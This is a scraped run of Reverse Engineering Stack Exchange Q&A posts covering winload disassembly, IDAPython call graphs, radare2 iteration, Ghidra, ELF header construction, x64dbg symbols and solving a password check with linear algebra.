2; uVar5 = (uint)local_2c[0]; } while (local_2c[0] &lt; local_c[0]); } if (*psVar3 == 0x36) { bVar1 = true; } else { uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10); if (uVar2 == 0) goto LAB_00893da6; indx = (ulong *)func_0x00897086(local_2c); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_3c); local_28 = (short *)0x0; (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (indx == (ulong *)0xffffffff) { return false; } uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx); if (uVar2 == 0) { return false; } pWVar4 = (PWSTR)func_0x008971fe(uVar2,local_c,&amp;local_44); ACP_NSL-&gt;Buffer = pWVar4; if (pWVar4 != (PWSTR)0x0) { (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_44); } (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34); if (ACP_NSL-&gt;Buffer == (PWSTR)0x0) { return false; } ACP_NSL-&gt;MaximumLength = local_c[0]; ACP_NSL-&gt;Length = local_c[0]; } uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10); if (uVar2 == 0) { return false; } indx = (ulong *)func_0x00897086(0x8e2248); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (indx == (ulong *)0xffffffff) { return false; } uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx); if (uVar2 == 0) { return false; } psVar3 = (short *)func_0x008971fe(uVar2,local_c,&amp;local_3c); local_28 = psVar3; (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34); if (psVar3 == (short *)0x0) { return false; } uVar5 = 0; local_2c[0] = 0; if (local_c[0] != 0) { do { if (*(short *)((int)psVar3 + uVar5) == 0) break; local_2c[0] = (short)uVar5 + 2; uVar5 = (uint)local_2c[0]; } while (local_2c[0] &lt; local_c[0]); } if (*psVar3 != 0x36) { uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,(ulong *)local_10); if (uVar2 == 0) { LAB_00893da6: (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_3c); return false; } indx = (ulong *)func_0x00897086(local_2c); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_3c); (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_24); if (indx == (ulong *)0xffffffff) { return false; } uVar2 = (*MyHive-&gt;GetCellRoutine)(MyHive,indx); if (uVar2 == 0) { return false; } pWVar4 = (PWSTR)func_0x008971fe(uVar2,local_c,&amp;local_44); OEMHAL-&gt;Buffer = pWVar4; if (pWVar4 != (PWSTR)0x0) { (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_44); } (*MyHive-&gt;ReleaseCellRoutine)(MyHive,(ulong)&amp;local_34); if (OEMHAL-&gt;Buffer == (PWSTR)0x0) { return false; } OEMHAL-&gt;MaximumLength = local_c[0]; OEMHAL-&gt;Length = local_c[0]; if (!bVar1) goto LAB_00893f80; } ACP_NSL-&gt;Buffer = (PWSTR)0x0; ACP_NSL-&gt;Length = 0; OEMHAL-&gt;Buffer = (PWSTR)0x0; OEMHAL-&gt;Length = 0; LAB_00893f80: DEFINTL-&gt;Buffer = (PWSTR)0x8e1a4c; DEFINTL-&gt;MaximumLength = 0x14; DEFINTL-&gt;Length = 0x14; return true; } </code></pre>
25836
2020-09-08T10:30:50.363
<p>The disassembly of the function Winload!CmpFindNlsData whose prototype I'm trying to construct</p> <pre><code>00893c10 8bff mov edi,edi 00893c12 55 push ebp 00893c13 8bec mov ebp,esp 00893c15 83ec40 sub esp,40h 00893c18 53 push ebx 00893c19 56 push esi 00893c1a 57 push edi 00893c1b 8d45e0 lea eax,[ebp-20h] 00893c1e 8bf1 mov esi,ecx 00893c20 50 push eax 00893c21 33db xor ebx,ebx 00893c23 8975ec mov dword ptr [ebp-14h],esi 00893c26 83cfff or edi,0FFFFFFFFh 00893c29 895dcc mov dword ptr [ebp-34h],ebx 00893c2c 52 push edx 00893c2d 56 push esi 00893c2e 897dc8 mov dword ptr [ebp-38h],edi 00893c31 897dd0 mov dword ptr [ebp-30h],edi 00893c34 895dd4 mov dword ptr [ebp-2Ch],ebx 00893c37 897de0 mov dword ptr [ebp-20h],edi 00893c3a 895de4 mov dword ptr [ebp-1Ch],ebx 00893c3d 897dc0 mov dword ptr [ebp-40h],edi 00893c40 895dc4 mov dword ptr [ebp-3Ch],ebx 00893c43 895de8 mov dword ptr [ebp-18h],ebx 00893c46 ff5604 call dword ptr [esi+4] 00893c49 85c0 test eax,eax 00893c4b 0f845d010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893c51 8d4df4 lea ecx,[ebp-0Ch] 00893c54 8bd0 mov edx,eax 00893c56 51 push ecx 00893c57 68b8208e00 push offset winload!CmpControlString (008e20b8) 00893c5c 8bce mov ecx,esi 00893c5e e869510000 call winload!CmpFindSubKeyByNameWithStatus (00898dcc) 00893c63 8d45e0 lea eax,[ebp-20h] 00893c66 50 push eax 00893c67 56 push esi 00893c68 ff5608 call dword ptr [esi+8] 00893c6b 397df4 cmp dword ptr [ebp-0Ch],edi 00893c6e 0f843a010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893c74 8d45e0 lea eax,[ebp-20h] 00893c77 50 push eax 00893c78 ff75f4 push dword ptr [ebp-0Ch] 00893c7b 56 push esi 00893c7c ff5604 call dword ptr [esi+4] 00893c7f 85c0 test eax,eax 00893c81 0f8427010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893c87 8d4df4 lea ecx,[ebp-0Ch] 00893c8a 8bd0 mov edx,eax 00893c8c 51 push ecx 00893c8d 68f8208e00 push offset winload!CmpNlsString (008e20f8) 00893c92 8bce mov ecx,esi 00893c94 e833510000 call winload!CmpFindSubKeyByNameWithStatus (00898dcc) 00893c99 8d45e0 lea eax,[ebp-20h] 00893c9c 50 push eax 00893c9d 56 push esi 00893c9e ff5608 call dword ptr [esi+8] 00893ca1 397df4 cmp dword ptr [ebp-0Ch],edi 00893ca4 0f8404010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893caa 8d45e0 lea eax,[ebp-20h] 00893cad 50 push eax 00893cae ff75f4 push dword ptr [ebp-0Ch] 00893cb1 56 push esi 00893cb2 ff5604 call dword ptr [esi+4] 00893cb5 85c0 test eax,eax 00893cb7 0f84f1000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893cbd 8d4df4 lea ecx,[ebp-0Ch] 00893cc0 8bd0 mov edx,eax 00893cc2 51 push ecx 00893cc3 6808218e00 push offset winload!CmpCodePageString (008e2108) 00893cc8 8bce mov ecx,esi 00893cca e8fd500000 call winload!CmpFindSubKeyByNameWithStatus (00898dcc) 00893ccf 8d45e0 lea eax,[ebp-20h] 00893cd2 50 push eax 00893cd3 56 push esi 00893cd4 ff5608 call dword ptr [esi+8] 00893cd7 397df4 cmp dword ptr [ebp-0Ch],edi 00893cda 0f84ce000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893ce0 8d45e0 lea eax,[ebp-20h] 00893ce3 50 push eax 00893ce4 ff75f4 push dword ptr [ebp-0Ch] 00893ce7 56 push esi 00893ce8 ff5604 call dword ptr [esi+4] 00893ceb 85c0 test eax,eax 00893ced 0f84bb000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893cf3 6870228e00 push offset winload!CmpAcpString (008e2270) 00893cf8 8bd0 mov edx,eax 00893cfa 8bce mov ecx,esi 00893cfc e885330000 call winload!CmpFindValueByName (00897086) 00893d01 8bf8 mov edi,eax 00893d03 8d45e0 lea eax,[ebp-20h] 00893d06 50 push eax 00893d07 56 push esi 00893d08 ff5608 call dword ptr [esi+8] 00893d0b 83ffff cmp edi,0FFFFFFFFh 00893d0e 0f849a000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893d14 8d45d0 lea eax,[ebp-30h] 00893d17 50 push eax 00893d18 57 push edi 00893d19 56 push esi 00893d1a ff5604 call dword ptr [esi+4] 00893d1d 85c0 test eax,eax 00893d1f 0f8489000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893d25 8d4dc8 lea ecx,[ebp-38h] 00893d28 8bd7 mov edx,edi 00893d2a 51 push ecx 00893d2b 8d4df8 lea ecx,[ebp-8] 00893d2e 51 push ecx 00893d2f 50 push eax 00893d30 8bce mov ecx,esi 00893d32 e8c7340000 call winload!CmpValueToData (008971fe) 00893d37 8bf8 mov edi,eax 00893d39 8d45d0 lea eax,[ebp-30h] 00893d3c 50 push eax 00893d3d 56 push esi 00893d3e 897ddc mov dword ptr [ebp-24h],edi 00893d41 ff5608 call dword ptr [esi+8] 00893d44 85ff test edi,edi 00893d46 7466 je winload!CmpFindNLSData+0x19e (00893dae) 00893d48 8b55f8 mov edx,dword ptr [ebp-8] 00893d4b 33c9 xor ecx,ecx 00893d4d 33c0 xor eax,eax 00893d4f 668955da mov word ptr [ebp-26h],dx 00893d53 66894dd8 mov word ptr [ebp-28h],cx 00893d57 c745f002000000 mov dword ptr [ebp-10h],2 00893d5e 663bc2 cmp ax,dx 00893d61 731d jae winload!CmpFindNLSData+0x170 (00893d80) 00893d63 8b75f0 mov esi,dword ptr [ebp-10h] 00893d66 0fb7c1 movzx eax,cx 00893d69 d1e8 shr eax,1 00893d6b 66391c47 cmp word ptr [edi+eax*2],bx 00893d6f 740c je winload!CmpFindNLSData+0x16d (00893d7d) 00893d71 6603ce add cx,si 00893d74 66894dd8 mov word ptr [ebp-28h],cx 00893d78 663bca cmp cx,dx 00893d7b 72e9 jb winload!CmpFindNLSData+0x156 (00893d66) 00893d7d 8b75ec mov esi,dword ptr [ebp-14h] 00893d80 8b5d08 mov ebx,dword ptr [ebp+8] 00893d83 6a36 push 36h 00893d85 58 pop eax 00893d86 663907 cmp word ptr [edi],ax 00893d89 750c jne winload!CmpFindNLSData+0x187 (00893d97) 00893d8b c745e801000000 mov dword ptr [ebp-18h],1 00893d92 e992000000 jmp winload!CmpFindNLSData+0x219 (00893e29) 00893d97 8d45e0 lea eax,[ebp-20h] 00893d9a 50 push eax 00893d9b ff75f4 push dword ptr [ebp-0Ch] 00893d9e 56 push esi 00893d9f ff5604 call dword ptr [esi+4] 00893da2 85c0 test eax,eax 00893da4 7513 jne winload!CmpFindNLSData+0x1a9 (00893db9) 00893da6 8d45c8 lea eax,[ebp-38h] 00893da9 50 push eax 00893daa 56 push esi 00893dab ff5608 call dword ptr [esi+8] 00893dae 32c0 xor al,al 00893db0 5f pop edi 00893db1 5e pop esi 00893db2 5b pop ebx 00893db3 8be5 mov esp,ebp 00893db5 5d pop ebp 00893db6 c20c00 ret 0Ch 00893db9 8d4dd8 lea ecx,[ebp-28h] 00893dbc 8bd0 mov edx,eax 00893dbe 51 push ecx 00893dbf 8bce mov ecx,esi 00893dc1 e8c0320000 call winload!CmpFindValueByName (00897086) 00893dc6 8bf8 mov edi,eax 00893dc8 8d45c8 lea eax,[ebp-38h] 00893dcb 50 push eax 00893dcc 56 push esi 00893dcd ff5608 call dword ptr [esi+8] 00893dd0 33c0 xor eax,eax 00893dd2 8945dc mov dword ptr [ebp-24h],eax 00893dd5 8d45e0 lea eax,[ebp-20h] 00893dd8 50 push eax 00893dd9 56 push esi 00893dda ff5608 call dword ptr [esi+8] 00893ddd 83ffff cmp edi,0FFFFFFFFh 00893de0 74cc je winload!CmpFindNLSData+0x19e (00893dae) 00893de2 8d45d0 lea eax,[ebp-30h] 00893de5 50 push eax 00893de6 57 push edi 00893de7 56 push esi 00893de8 ff5604 call dword ptr [esi+4] 00893deb 85c0 test eax,eax 00893ded 74bf je winload!CmpFindNLSData+0x19e (00893dae) 00893def 8d4dc0 lea ecx,[ebp-40h] 00893df2 8bd7 mov edx,edi 00893df4 51 push ecx 00893df5 8d4df8 lea ecx,[ebp-8] 00893df8 51 push ecx 00893df9 50 push eax 00893dfa 8bce mov ecx,esi 00893dfc e8fd330000 call winload!CmpValueToData (008971fe) 00893e01 894304 mov dword ptr [ebx+4],eax 00893e04 85c0 test eax,eax 00893e06 7408 je winload!CmpFindNLSData+0x200 (00893e10) 00893e08 8d45c0 lea eax,[ebp-40h] 00893e0b 50 push eax 00893e0c 56 push esi 00893e0d ff5608 call dword ptr [esi+8] 00893e10 8d45d0 lea eax,[ebp-30h] 00893e13 50 push eax 00893e14 56 push esi 00893e15 ff5608 call dword ptr [esi+8] 00893e18 33c0 xor eax,eax 00893e1a 394304 cmp dword ptr [ebx+4],eax 00893e1d 748f je winload!CmpFindNLSData+0x19e (00893dae) 00893e1f 8b45f8 mov eax,dword ptr [ebp-8] 00893e22 66894302 mov word ptr [ebx+2],ax 00893e26 668903 mov word ptr [ebx],ax 00893e29 8d45e0 lea eax,[ebp-20h] 00893e2c 50 push eax 00893e2d ff75f4 push dword ptr [ebp-0Ch] 00893e30 56 push esi 00893e31 ff5604 call dword ptr [esi+4] 00893e34 85c0 test eax,eax 00893e36 0f8472ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e3c 6848228e00 push offset winload!CmpOemCpString (008e2248) 00893e41 8bd0 mov edx,eax 00893e43 8bce mov ecx,esi 00893e45 e83c320000 call winload!CmpFindValueByName (00897086) 00893e4a 8bf8 mov edi,eax 00893e4c 8d45e0 lea eax,[ebp-20h] 00893e4f 50 push eax 00893e50 56 push esi 00893e51 ff5608 call dword ptr [esi+8] 00893e54 83ffff cmp edi,0FFFFFFFFh 00893e57 0f8451ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e5d 8d45d0 lea eax,[ebp-30h] 00893e60 50 push eax 00893e61 57 push edi 00893e62 56 push esi 00893e63 ff5604 call dword ptr [esi+4] 00893e66 85c0 test eax,eax 00893e68 0f8440ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e6e 8d4dc8 lea ecx,[ebp-38h] 00893e71 8bd7 mov edx,edi 00893e73 51 push ecx 00893e74 8d4df8 lea ecx,[ebp-8] 00893e77 51 push ecx 00893e78 50 push eax 00893e79 8bce mov ecx,esi 00893e7b e87e330000 call winload!CmpValueToData (008971fe) 00893e80 8bf8 mov edi,eax 00893e82 8d45d0 lea eax,[ebp-30h] 00893e85 50 push eax 00893e86 56 push esi 00893e87 897ddc mov dword ptr [ebp-24h],edi 00893e8a ff5608 call dword ptr [esi+8] 00893e8d 85ff test edi,edi 00893e8f 0f8419ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e95 8b55f8 mov edx,dword ptr [ebp-8] 00893e98 33c9 xor ecx,ecx 00893e9a 33c0 xor eax,eax 00893e9c 668955da mov word ptr [ebp-26h],dx 00893ea0 66894dd8 mov word ptr [ebp-28h],cx 00893ea4 663bc2 cmp ax,dx 00893ea7 7322 jae winload!CmpFindNLSData+0x2bb (00893ecb) 00893ea9 8b75f0 mov esi,dword ptr [ebp-10h] 00893eac 33db xor ebx,ebx 00893eae 0fb7c1 movzx eax,cx 00893eb1 d1e8 shr eax,1 00893eb3 66391c47 cmp word ptr [edi+eax*2],bx 00893eb7 740c je winload!CmpFindNLSData+0x2b5 (00893ec5) 00893eb9 6603ce add cx,si 00893ebc 66894dd8 mov word ptr [ebp-28h],cx 00893ec0 663bca cmp cx,dx 00893ec3 72e9 jb winload!CmpFindNLSData+0x29e (00893eae) 00893ec5 8b75ec mov esi,dword ptr [ebp-14h] 00893ec8 8b5d08 mov ebx,dword ptr [ebp+8] 00893ecb 6a36 push 36h 00893ecd 58 pop eax 00893ece 663907 cmp word ptr [edi],ax 00893ed1 8b7d0c mov edi,dword ptr [ebp+0Ch] 00893ed4 0f8496000000 je winload!CmpFindNLSData+0x360 (00893f70) 00893eda 8d45e0 lea eax,[ebp-20h] 00893edd 50 push eax 00893ede ff75f4 push dword ptr [ebp-0Ch] 00893ee1 56 push esi 00893ee2 ff5604 call dword ptr [esi+4] 00893ee5 85c0 test eax,eax 00893ee7 0f84b9feffff je winload!CmpFindNLSData+0x196 (00893da6) 00893eed 8d4dd8 lea ecx,[ebp-28h] 00893ef0 8bd0 mov edx,eax 00893ef2 51 push ecx 00893ef3 8bce mov ecx,esi 00893ef5 e88c310000 call winload!CmpFindValueByName (00897086) 00893efa 894508 mov dword ptr [ebp+8],eax 00893efd 8d45c8 lea eax,[ebp-38h] 00893f00 50 push eax 00893f01 56 push esi 00893f02 ff5608 call dword ptr [esi+8] 00893f05 8d45e0 lea eax,[ebp-20h] 00893f08 50 push eax 00893f09 56 push esi 00893f0a ff5608 call dword ptr [esi+8] 00893f0d 8b4508 mov eax,dword ptr [ebp+8] 00893f10 83f8ff cmp eax,0FFFFFFFFh 00893f13 0f8495feffff je winload!CmpFindNLSData+0x19e (00893dae) 00893f19 8d4dd0 lea ecx,[ebp-30h] 00893f1c 51 push ecx 00893f1d 50 push eax 00893f1e 56 push esi 00893f1f ff5604 call dword ptr [esi+4] 00893f22 85c0 test eax,eax 00893f24 0f8484feffff je winload!CmpFindNLSData+0x19e (00893dae) 00893f2a 8b5508 mov edx,dword ptr [ebp+8] 00893f2d 8d4dc0 lea ecx,[ebp-40h] 00893f30 51 push ecx 00893f31 8d4df8 lea ecx,[ebp-8] 00893f34 51 push ecx 00893f35 50 push eax 00893f36 8bce mov ecx,esi 00893f38 e8c1320000 call winload!CmpValueToData (008971fe) 00893f3d 894704 mov dword ptr [edi+4],eax 00893f40 85c0 test eax,eax 00893f42 7408 je winload!CmpFindNLSData+0x33c (00893f4c) 00893f44 8d45c0 lea eax,[ebp-40h] 00893f47 50 push eax 00893f48 56 push esi 00893f49 ff5608 call dword ptr [esi+8] 00893f4c 8d45d0 lea eax,[ebp-30h] 00893f4f 50 push eax 00893f50 56 push esi 00893f51 ff5608 call dword ptr [esi+8] 00893f54 33c9 xor ecx,ecx 00893f56 394f04 cmp dword ptr [edi+4],ecx 00893f59 0f844ffeffff je winload!CmpFindNLSData+0x19e (00893dae) 00893f5f 8b45f8 mov eax,dword ptr [ebp-8] 00893f62 66894702 mov word ptr [edi+2],ax 00893f66 668907 mov word ptr [edi],ax 00893f69 394de8 cmp dword ptr [ebp-18h],ecx 00893f6c 7412 je winload!CmpFindNLSData+0x370 (00893f80) 00893f6e eb02 jmp winload!CmpFindNLSData+0x362 (00893f72) 00893f70 33c9 xor ecx,ecx 00893f72 33c0 xor eax,eax 00893f74 894b04 mov dword ptr [ebx+4],ecx 00893f77 668903 mov word ptr [ebx],ax 00893f7a 894f04 mov dword ptr [edi+4],ecx 00893f7d 668907 mov word ptr [edi],ax 00893f80 8b4d10 mov ecx,dword ptr [ebp+10h] 00893f83 b001 mov al,1 00893f85 6a14 push 14h 00893f87 5a pop edx 00893f88 c741044c1a8e00 mov dword ptr [ecx+4],offset winload!`string' (008e1a4c) 00893f8f 66895102 mov word ptr [ecx+2],dx 00893f93 668911 mov word ptr [ecx],dx 00893f96 e915feffff jmp winload!CmpFindNLSData+0x1a0 (00893db0) 00893f9b cc int 3``` </code></pre>
How to find if a function is using registers as parameters?
|disassembly|assembly|register|
<p>You can generate graphs in the DOT format by calling <code>gen_flow_graph()</code> with the <code>CHART_GEN_DOT</code> flag.</p> <p>The DOT file can then be imported into networkx using the <code>from_pydot()</code> function.</p>
25848
2020-09-10T13:15:58.180
<p>Is there any easy way to get a <strong>function call graph</strong> of a binary program using IDApython then convert it to a networkx graph other than going through every function and constructing the call-graph ourselves?</p> <p>Basically i want to have a call graph that i can tell which nodes are library calls and which are locals, and not including functions that are called by libraries ( so i dont go deep into nested library functions calling each other)</p> <p>i tried gen_simple_call_chart() but there are two big problems :</p> <ol> <li><p>there is no difference between library nodes and local nodes in the generated DOT file (no color or anything)</p> </li> <li><p>CHART_IGNORE_LIB_FROM doesnt work, i dont want to include nodes that are called by library calls :(</p> </li> </ol> <p>For example all the nodes are black no matter library or local :</p> <pre><code>&quot;205&quot; [ label = &quot;sub_40AF20&quot;, pencolor = black ]; &quot;206&quot; [ label = &quot;ShellExecuteW&quot;, pencolor = black ]; </code></pre>
Get a networkx graph from the the function call-graph of the file using IDApython?
|ida|idapython|idapro-sdk|ida-plugin|
<p><code>@@</code> is indeed for flags [not only those that are prefixed with <code>sym.</code> though]. It looks like you need to use the <code>@@=</code> iterator.</p> <p>For example: <code>px 4 @@=`afl~[0]` </code></p>
25850
2020-09-10T18:52:46.017
<p>Say, I have a command in radare which produces multiple input, say <code>afl</code>. I can run it and extract many addresses:</p> <pre><code>[0x5579ca2e2196]&gt; afl~[0] 0x5579ca2e2060 0x5579ca2e4fe0 0x5579ca2e2090 0x5579ca2e20c0 0x5579ca2e2100 </code></pre> <p>How do I do run another command on each of those addresses? Let's say I want to print first byte of each of them or set a breakpoint with <code>db</code> on each address.</p> <p>I read about iteration, but it looks like it only works on flags with something like <code>sym.*</code>, but not on arbitrary outputs, so I can't do this:</p> <pre><code>p8 1 @@ `some command which produces many addresses` </code></pre> <p>I know that I can save output to a file and then use something like <code>p8 1 @@.my_file</code>, but it looks strange that I need to create a file for that.</p> <p>Basically, I want a way to run a single radare command (possibly with parameters) for every line of output of another radare command.</p>
Running radare command on each line of the output of another command
|radare2|
<p>You do it from the menu of this window.</p> <p>Click on this icon:</p> <p><a href="https://i.stack.imgur.com/mMzcK.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mMzcK.png" alt="enter image description here" /></a></p> <p>Later go to <code>Instruction/Data</code> tab and adjust the <code>Operands</code>.</p>
25853
2020-09-10T23:59:36.107
<p>I can't seem to figure out how to do such a trivial task: Basically, how can I enlarge a block in Ghidra's Function Graph View so that I can see all of the instructions (instead of <strong>...</strong>).</p> <p>There does not seem to be an enlarge option when I hover my mouse over the edge of the block.</p> <p>The version I am using is 9.1.2</p> <p>Thanks!</p> <p><a href="https://i.stack.imgur.com/mIB8q.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mIB8q.png" alt="enter image description here" /></a></p>
How to enlarge block in Ghidra's Function Graph View?
|ghidra|
<p>You mentioned that you want to analyze an ex5 file which is a MetaTrader5 file. That is not what IDA is for, that file is not an executable most likely. If the format isn't documented you can analyze the Application itself to figure out how it's made up, but most likely it's easier to just do it again.</p>
25862
2020-09-12T11:49:47.183
<p>how can I decompile a binary file using IDA? I tried opening it and it said it cannot find the entry point automatically and I don't know where to find it,</p>
IDA decompile binary file
|ida|
<p>That depends entirely on your approach, if you do it all manually there are fewer instructions to remember, if there is a decompiler that does/tries it automatically it's obviously easier to implement with less instructions but once you want to go beyond purely translating the asm to c code that somehow works and want to make it readable a complex instruction set which would have asm instructions that match the c/c++ instructions are easier to translate and more readable.</p> <p>If you look at the MOVfuscator, which is a compiler that (almost) only uses MOV-Instructions, then you will notice how unreadable and hard to decompile that actually is, and that's the fewest instructions you'll get.</p> <p>When you look at how often those special instructions in x86 are actually used you'll notice that it's not as often as you'd might think, so just because you have a huge instruction set that doesn't mean all instructions are used or it wouldn't run on a reduced instruction set aswell.</p>
25863
2020-09-12T20:00:58.130
<p>I am wondering if decompilation would be easier for an ISA with fewer instructions. For example, RISC-V vs x86.</p>
Is decompilation easier or generally more accurate for smaller ISAs?
|decompilation|
<p>On Linux machines, the <code>lscpu</code> command will tell you both the endianness of the CPU and whether it is 32/64 bit.</p>
25879
2020-09-14T04:24:32.033
<p>To get a basic understanding of the <a href="https://refspecs.linuxfoundation.org/elf/elf.pdf" rel="nofollow noreferrer">ELF format</a>, I'm writing a basic program to generate a valid elf file from the most basic assembly output. I'm going step-by-step so I'll probably ask a few questions here as I make my way through it. I've generated the first 16-bytes of the header and verified that it's the same from a gcc-compiled program on my machine (nothing special, since those first 16-bytes are almost always the same). Here is what I have so far (using python):</p> <pre><code># https://refspecs.linuxfoundation.org/elf/elf.pdf b = bytearray() # (1) magic header b.append(0x7F) # starting number b.extend([ord('E'), ord('L'), ord('F')]) # (2) ei-class ('capacity') -- 1 for 32-bit, 2 for 64-bit # uname -m # x86_64 BITS_32 = 1 BITS_64 = 2 b.append(BITS_64) # (3) ei-data ('data-encoding') -- 1 for little-endian (standard), 2 for big-endian LITTLE_ENDIAN = 1 BIG_ENDIAN = 2 b.append(LITTLE_ENDIAN) # (4) ei-version -- always will be 1 -- EV_CURRENT = 1 b.append(EV_CURRENT) # (5) ei-pad -- padding --&gt; pad 0's up to 16 bytes b.extend([0,] * (16-len(b))) print('%s\nLength: %s' % (b, len(b))) </code></pre> <p>And I get:</p> <pre><code>bytearray(b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00') Length: 16 </code></pre> <p>I have a few questions about this:</p> <ul> <li>What is the most common way to get whether a machine is <code>32</code> or <code>64</code> bits? Is doing <code>uname -m</code> or one of the <code>uname</code> variants the suggested way?</li> <li>How do you determine if the machine is little- or big-endian?</li> </ul>
Generating an elf header
|elf|executable|binary-format|
<p>You can either press Ctrl+G and type <code>LoadLibraryA</code> to land at this function address, or if you want to list all the functions from kernel32.dll you can go to the <code>Symbols</code> tab like this:</p> <p><a href="https://i.stack.imgur.com/Ep7Ri.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ep7Ri.png" alt="enter image description here" /></a></p> <p>From there you can view the function address or just double-click &quot;LoadLibraryA&quot; to follow it in disassembler.</p>
25881
2020-09-14T10:51:27.557
<p>I am working on a packed file with UPX.<br /> In one of the lines it calls to the value of the address <code>0xF5222C</code> which is: <code>0x778057c0</code>.<br /> <a href="https://i.stack.imgur.com/ZOJqR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ZOJqR.png" alt="enter image description here" /></a></p> <p>The debugger auto-completes it to <code>kernel32.LoadLibraryA</code>.<br /> Where can I verify that this is the address of the function?</p> <p>I looked at the &quot;Memory Map&quot; tab but all I can see is the address (<code>0x777F000</code>) of the kernel32.dll module:<br /> <a href="https://i.stack.imgur.com/7JS2L.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7JS2L.png" alt="enter image description here" /></a></p> <p>Is there a place I can view the addrresses of all the functions related to a specific module?</p> <p><strong>EDIT:</strong><br /> I tried <code>Search for &gt; All Modules &gt; Intermodlar calls</code>:<br /> <a href="https://i.stack.imgur.com/Clq3V.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Clq3V.png" alt="enter image description here" /></a></p> <p>I searched for <code>LoadLibraryA</code> (address <code>0x778057c0</code>) but it doesn't find it:<br /> <a href="https://i.stack.imgur.com/df0Ec.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/df0Ec.png" alt="enter image description here" /></a></p>
How to view the functions of a loaded library in x64dbg
|x64dbg|functions|libraries|
<p>You may be able to set up a system of equations and try and narrow this down with linear algebra. Because you have more unknowns than knowns, you will not be able to know the original password, but you can still get one the passes the validation routine. You already know some of the letters due to seeing them in the disassembly.</p> <p>As a smaller example, say we know the first letter of a password is <code>G</code> and the that there are 6 letters. The program then sums up the letters into three variables as follows:</p> <pre><code>var1 = password[0] + password[1] + password[5] var2 = password[0] + password[4] var3 = password[0] + password[1] + password[2] + password[3] + password[4] </code></pre> <p>Then later we see that it checks:</p> <pre><code>var1 == 225 var2 == 160 var3 == 392 </code></pre> <p>We can set up a matrix for this:</p> <pre><code>[1 1 0 0 0 1 | 225] [1 0 0 0 1 0 | 160] [1 1 1 1 1 0 | 392] </code></pre> <p>Using <code>SymPy</code> or something similar, we can reduce this matrix down:</p> <pre><code>from sypy import * A = Matrix([[1,1,0,0,0,1,225],[1,0,0,0,1,0,160],[1,1,1,1,1,0,392]]) A.rref() (Matrix([ [1, 0, 0, 0, 1, 0, 160], [0, 1, 0, 0, -1, 1, 65], [0, 0, 1, 1, 1, -1, 167]]), (0, 1, 2)) </code></pre> <p>Our pivots are <code>password[0]</code>, <code>password[1]</code> and <code>password[2]</code>. We already know <code>password[0] == 71</code>, we will select whatever we want for <code>password[1]</code> &amp; <code>password[2]</code> and will try to get everything else in terms of these.</p> <p>Since we know that the first letter is <code>'G'</code> and has a value of <code>71</code>, the first equation is <code>72 + password[4] = 160</code>. We now know <code>password[4]</code> is <code>89</code> or <code>Y</code>.</p> <p>Knowing this, we can look at our next equation. <code>password[1] - 89 + password[5] = 65.</code> Rewriting: <code>password[5] = 154 - password[1]</code>.</p> <p>We can now look at the last equation: <code>password[2] + password[3] + 89 - password[5] = 167</code> Rewriting: <code>password[3] = password[5] - password[2] + 78</code></p> <p>Putting it all together:</p> <pre><code>password[0] = 'G' password[1] = pivot password[2] = pivot password[3] = password[5] - password[2] + 78 password[4] = 'Y' password[5] = 154 - password[1] </code></pre> <p>Now we just assign whatever we want for <code>password[1]</code> and <code>password[2]</code> and we will get a valid password.</p> <pre><code>password[1] = 'A' password[2] = 'A' </code></pre> <pre><code># Find password[5] chr(154 - ord('A')) 'Y' # Find password[3] chr(ord('Y') - ord('A') + 78) 'f' # Validate password password = &quot;GAAfYY&quot; var1 = ord(password[0]) + ord(password[1]) + ord(password[5]) var2 = ord(password[0]) + ord(password[4]) var3 = ord(password[0]) + ord(password[1]) + ord(password[2]) + + ord(password[3]) + ord(password[4]) (var1 == 225) and (var2 == 160) and (var3 == 392) True </code></pre> <p>It will be harder for your specific one because you the numbers are being taken <code>% 100</code>, but you know how many characters there are and what value range ASCII falls in so it shouldn't be too hard to set a limited range for the possible values.</p>
25882
2020-09-14T12:42:18.527
